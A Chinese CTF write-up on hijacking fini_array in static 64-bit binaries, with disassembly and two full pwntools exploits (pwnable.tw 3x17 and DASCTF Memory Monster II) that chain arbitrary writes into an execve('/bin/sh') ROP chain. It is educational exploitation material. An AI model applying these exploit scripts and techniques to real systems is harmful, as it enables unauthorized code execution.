程序起点

程序的启动流程如图所示:

可以看到 main 函数不是程序起点,之前写的 格式化字符串盲打 也分析过 text 段起点是 _start 函数 。_start 函数调用__libc_start_main 完成启动和退出工作。具体看看 _start 函数:

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.text:0000000000401A60                 public start
.text:0000000000401A60 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401A60 ; __unwind {
.text:0000000000401A60 xor ebp, ebp
.text:0000000000401A62 mov r9, rdx
.text:0000000000401A65 pop rsi
.text:0000000000401A66 mov rdx, rsp
.text:0000000000401A69 and rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A6D push rax
.text:0000000000401A6E push rsp
// 以此将 fini、init、main 地址压入寄存器
.text:0000000000401A6F mov r8, offset sub_402BD0 ; fini
.text:0000000000401A76 mov rcx, offset loc_402B40 ; init
.text:0000000000401A7D mov rdi, offset main
.text:0000000000401A84 db 67h
.text:0000000000401A84 call __libc_start_main
.text:0000000000401A8A hlt
.text:0000000000401A8A ; } // starts at 401A60
.text:0000000000401A8A start endp

__libc_start_main 定义原型

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int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (*stack_end));

根据 64 位传参特定得出对应寄存器值。这个执行顺序我是通过调试得出来的。(__libc_csu_init 的话是 ret2csu 利用对象。)

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rdi <- main
rcx <- __libc_csu_init //在main函数前执行
r8 <- __libc_csu_fini //在main函数后执行

__libc_csu_fini 函数

__libc_csu_fini 函数是 main 函数退出返回到 __libc_start_main 后,通过 __libc_start_main 调用的。具体看看函数:

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.text:0000000000402960 __libc_csu_fini proc near               ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960 push rbp
.text:0000000000402961 lea rax, unk_4B4100
.text:0000000000402968 lea rbp, _fini_array_0
.text:000000000040296F push rbx
.text:0000000000402970 sub rax, rbp
.text:0000000000402973 sub rsp, 8
.text:0000000000402977 sar rax, 3
.text:000000000040297B jz short loc_402996
.text:000000000040297D lea rbx, [rax-1]
.text:0000000000402981 nop dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: __libc_csu_fini+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996: ; CODE XREF: __libc_csu_fini+1B↑j
.text:0000000000402996 add rsp, 8
.text:000000000040299A pop rbx
.text:000000000040299B pop rbp
.text:000000000040299C jmp sub_48E32C
.text:000000000040299C ; } // starts at 402960
.text:000000000040299C __libc_csu_fini endp

注意以下这三行源码,是劫持 fini_array 实现无限写进行 ROP 的关键:

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//将 fini_array[0] 的值加载到 rbp
.text:0000000000402968 lea rbp, _fini_array_0
//经过一系列运算后,这里会 call fini_array[1] ,也就是调用存储在 fini_array[1] 的指针
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
//调用完 fini_array[1] 之后再次进过一系列运算,这里会 call fini_array[0]
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]

看一下 fini_array 的代码:

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.fini_array:00000000004B40F0 _fini_array     segment para public 'DATA' use64
.fini_array:00000000004B40F0 assume cs:_fini_array
.fini_array:00000000004B40F0 ;org 4B40F0h
.fini_array:00000000004B40F0 _fini_array_0 dq offset sub_401B00 ; DATA XREF: .text:000000000040291C↑o
.fini_array:00000000004B40F0 ; __libc_csu_fini+8↑o
.fini_array:00000000004B40F8 dq offset sub_401580
.fini_array:00000000004B40F8 _fini_array ends

这里明确知道了 fini_array 里面存储了两个指针,调用顺序为:先 fini_array[1] ,再 fini_array[0] 。那么**如果我们把 fini_array[1] 覆盖为函数 A 的地址,fini_array[0] 覆盖为 __libc_csu_fini 的地址 **,当退出 main 后,程序会这样:

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__libc_csu_fini先执行一遍fini_array[1]:addrA,返回后再执行fini_array[0]:__libc_csu_fini

__libc_csu_fini先执行一遍fini_array[1]:addrA,返回后再执行fini_array[0]:__libc_csu_fini

__libc_csu_fini先执行一遍fini_array[1]:addrA,返回后再执行fini_array[0]:__libc_csu_fini

......

这个循环就会一直持续到 fini_array[0] 被覆盖为其他值。

还有个点就是上面提到的源码中的 lea rbp, _fini_array_0 ,将 rbp 的值修改为 fini_array[0] 所在的地址,那么配合 leave|ret 就能将栈迁移到 fini_array + 0x10 的地址,我们就将利用函数放在这个地方。

pwnable.tw-3x17

保护情况

静态链接的 64 位程序:

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skye:~/CTF学习/fini_array劫持$ file 317
317: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped

checksec 检查是没有 canary 但是根据汇编去检查是有 canary 保护的:

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Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞函数

题目编译的二进制文件没有符号表,可以尝试用 lscan 找到对应 sig 文件修复,或者通过字符串定位到 main 函数位置(shift+F12)。

main 函数中一个任意地址写入 0x18 的功能:

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//重命名部分函数名
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char *v4; // ST08_8
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
result = (unsigned __int8)++byte_4B9330;
if ( byte_4B9330 == 1 )
{
write_fun(1u, "addr:", 5uLL);
read_fun(0, &buf, 0x18uLL);//读取地址
v4 = (char *)(signed int)sub_40EE70((__int64)&buf);
write_fun(1u, "data:", 5uLL);
read_fun(0, v4, 0x18uLL);//向读取地址写入内容
result = 0;
}
if ( __readfsqword(0x28u) != v6 )
sub_44A3E0();
return result;
}

思路

这条题目还有其他解法,因为用这条题目学习 fini_array 劫持就记录这种做法。其他解法:pwnable.tw_3x17

静态编译程序只能用它的有东西 getshell 。写 shellcode 估计要 mprotect 给内容加上运行权限绕过 NX 保护;写个系统调用号可行一点。

那就需要用到写入功能函数了,如果需要符合本文学习内容,就需要一个任意地址写的函数,刚好 main 函数就是。现在明确思路:

  1. 将 fini_array[1] 覆盖为 main 函数地址;fini_array[0] 覆盖为 __libc_start_fini 地址;

  2. 依次向 fini_array + 0x10 写入系统调用号利用代码;

  3. 写入完成后,将 fini_array[0] 覆盖为 leave|ret,将栈迁移到 fini_array + 0x10;

构建的系统调用命令:syscall(0x3b,addr_of_binsh,0,0)

相当于:execve(addr_of_binsh,0,0)

系统调用号查询:https://www.mrskye.cn/archives/168/

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from pwn import *
context.log_level = 'debug'

#p = process("./317")
p = remote("chall.pwnable.tw",10105)
elf = process("./317")

fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
esp = fini_array + 0x10
leave_ret = 0x401C4B
ret = 0x401016

rop_syscall = 0x471db5
rop_pop_rax = 0x41e4af
rop_pop_rdx = 0x446e35
rop_pop_rsi = 0x406c30
rop_pop_rdi = 0x401696
bin_sh_addr = 0x4B419A

def write(addr,data):
p.recv()
p.send(str(addr))
p.recv()
p.send(data)

def exp():
# hijack fini_array
#gdb.attach(p)
write(fini_array,p64(libc_csu_fini) + p64(main_addr))

# rop chain
write(bin_sh_addr,"/bin/sh\x00")
write(esp,p64(rop_pop_rax))
write(esp+8,p64(0x3b))
write(esp+16,p64(rop_pop_rdi))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(rop_pop_rdx))
write(esp+40,p64(0))
write(esp+48,p64(rop_pop_rsi))
write(esp+56,p64(0))
write(esp+64,p64(rop_syscall))

# stack pivoting
write(fini_array,p64(leave_ret) + p64(ret))

if __name__ == '__main__':
exp()
p.interactive()

参考文章

Memory Monster II

题目来源 DASCTF 五月赛,作者为 TaQini ,[附件]([https://github.com/hebtuerror404/CTF_competition_warehouse_2020_First/tree/master/2020_DAS_SECURITY_CTF_MAY./Pwnable/Memory%20Monster%20II](https://github.com/hebtuerror404/CTF_competition_warehouse_2020_First/tree/master/2020_DAS_SECURITY_CTF_MAY./Pwnable/Memory Monster II))

这里和上面那条机会一样,下面是独立完成,详细记录一下

保护情况

checksec 检查是没有 canary 但是根据汇编去检查是有 canary 保护的:

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Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞函数

题目编译的二进制文件没有符号表,可以尝试用 lscan 找到对应 sig 文件修复,没有卵用只修复了两个函数,但是能看到 _start 函数:(重命名部分函数)

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.text:0000000000401B00                 public start
.text:0000000000401B00 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401B00 ; __unwind {
.text:0000000000401B00 xor ebp, ebp
.text:0000000000401B02 mov r9, rdx
.text:0000000000401B05 pop rsi
.text:0000000000401B06 mov rdx, rsp
.text:0000000000401B09 and rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401B0D push rax
.text:0000000000401B0E push rsp
.text:0000000000401B0F mov r8, offset __libc_start_fini
.text:0000000000401B16 mov rcx, offset __libc_start_init
.text:0000000000401B1D mov rdi, offset main
.text:0000000000401B24 db 67h
.text:0000000000401B24 call sub_4020B0
.text:0000000000401B2A hlt
.text:0000000000401B2A ; } // starts at 401B00
.text:0000000000401B2A start endp

依据规律知道三个 mov 依次是处理 __libc_start_fini、__libc_start_init、main 。从这里获取到关键参数: __libc_start_fini、main 地址。

然后 gdb 调试,断点打在 __libc_start_fini ,一直运行到 call 指令,rbp 存储的值就是 fini_array[0] 的地址 0x4b80b0 :

leave_ret 和 ret 通过 ROPgadget 直接能查到;rax、rdi、rsi、rdx 传参 gadget 也能找到,这几个 gadget 找那种只穿一个寄存器的:pop rax;ret

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from pwn import *
context.log_level = 'debug'

p = process("./main")
elf = ELF("./main")

#hijack fini
libc_csu_fini = 0x0402CB0
main_addr = 0x0401C1D
fini_array = 0x4b80b0
esp = fini_array + 0x10
leave_ret = 0x0401cf3
ret = 0x0401016

#execve('/bin/sh',0,0)
rop_syscall = 0x46F745
rop_pop_rax = 0x0000000000448fcc
rop_pop_rdx = 0x0000000000448415
rop_pop_rsi = 0x0000000000406f80
rop_pop_rdi = 0x0000000000401746
bin_sh_addr = 0x492895

def write(addr,data):
p.sendlineafter('addr:',p64(addr))
p.sendafter('data:',data)

# hijack fini_array
gdb.attach(p,'b *0x0402CB0')
write(fini_array,p64(libc_csu_fini) + p64(main_addr))

# rop chain
write(esp,p64(rop_pop_rax))
write(esp+8,p64(0x3b))
write(esp+16,p64(rop_pop_rdi))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(rop_pop_rdx))
write(esp+40,p64(0))
write(esp+48,p64(rop_pop_rsi))
write(esp+56,p64(0))
write(esp+64,p64(rop_syscall))

# stack pivoting
#gdb.attach(p)
write(fini_array,p64(leave_ret) + p64(ret))
p.interactive()

补充总结

怎么找 fini_array ?

首先 fini_array 是 __libc_csu_fini 函数里面会用的一个列表,当程序退出时会调用这个数组存放的一个或两个函数,调用完成后才继续完成退出函数,这时才是真正退出程序。

64 位静态链接程序

fini_array 数组长度为 0x10 字节,里面放了两个函数地址,退出 main 函数会先执行 fini_array[1] ,然后执行 fini_array[0] 。

劫持 64 位静态程序 fini_array 进行 ROP 攻击里面接触的是 64 位静态编译的程序,程序是没有符号表的,寻找 fini_array 方法是:

首先 readelf -h 程序名 查看程序加载入口地址。

gdb 调试将断点打在入口地址 ,然后找到有三个传参的 mov 指令,mov r8 就是 __libc_csu_fini 的地址:

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.text:0000000000401A60                 public start
.text:0000000000401A60 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401A60 ; __unwind {
.text:0000000000401A60 xor ebp, ebp
.text:0000000000401A62 mov r9, rdx
.text:0000000000401A65 pop rsi
.text:0000000000401A66 mov rdx, rsp
.text:0000000000401A69 and rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A6D push rax
.text:0000000000401A6E push rsp
.text:0000000000401A6F mov r8, offset sub_402BD0 ; fini
.text:0000000000401A76 mov rcx, offset loc_402B40 ; init
.text:0000000000401A7D mov rdi, offset main
.text:0000000000401A84 db 67h
.text:0000000000401A84 call __libc_start_main
.text:0000000000401A8A hlt
.text:0000000000401A8A ; } // starts at 401A60
.text:0000000000401A8A start endp

然后 x /20i addr 查看该地址开始的汇编,找到 lea rbp,[rip+0xb***1] # 0x4***f0 ,这个地址就是 fini_array[1] 的地址:

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pwndbg> x/20i 0x402bd0
0x402bd0 <__libc_csu_fini>: push rbp
0x402bd1 <__libc_csu_fini+1>: lea rax,[rip+0xb24e8] # 0x4***c0
0x402bd8 <__libc_csu_fini+8>: lea rbp,[rip+0xb24d1] # 0x4***b0
0x402bdf <__libc_csu_fini+15>: push rbx
0x402be0 <__libc_csu_fini+16>: sub rax,rbp
0x402be3 <__libc_csu_fini+19>: sub rsp,0x8
0x402be7 <__libc_csu_fini+23>: sar rax,0x3
0x402beb <__libc_csu_fini+27>: je 0x402c06 <__libc_csu_fini+54>
0x402bed <__libc_csu_fini+29>: lea rbx,[rax-0x1]
0x402bf1 <__libc_csu_fini+33>: nop DWORD PTR [rax+0x0]
0x402bf8 <__libc_csu_fini+40>: call QWORD PTR [rbp+rbx*8+0x0]
0x402bfc <__libc_csu_fini+44>: sub rbx,0x1
0x402c00 <__libc_csu_fini+48>: cmp rbx,0xffffffffffffffff
0x402c04 <__libc_csu_fini+52>: jne 0x402bf8 <__libc_csu_fini+40>
0x402c06 <__libc_csu_fini+54>: add rsp,0x8
0x402c0a <__libc_csu_fini+58>: pop rbx
0x402c0b <__libc_csu_fini+59>: pop rbp
0x402c0c <__libc_csu_fini+60>: jmp 0x48f52c <_fini>
64 位动态链接程序

fini_array 数组长度为 0x8 字节,里面放了一个函数地址,退出 main 函数会执行 fini_array[0]。

gdb 输入 elf.fini_array ,开始地址就是 fini_array[0]

或者 IDA ctrl+s 找 .fini_array 分段 :

64 位中只有 fini_array[0] ,没有 fini_array[1] ,也就是只能运行写入 fini_array 一次,然后就正常退出了。无法像静态编译那样重复调用。

静态动态利用方式小结

动态程序目前就遇到 2015 hacklu bookstore 这一题,太菜了总结不出规律。

静态程序基本上套路是劫持 fini_array + 循环写入,将 ROP 链布置到 fini_array + 0x10 ,写入完成后将栈迁移到 fini_array + 0x10 执行 ROP 链。静态程序的总结可以看看淇淇师傅文章

参考文章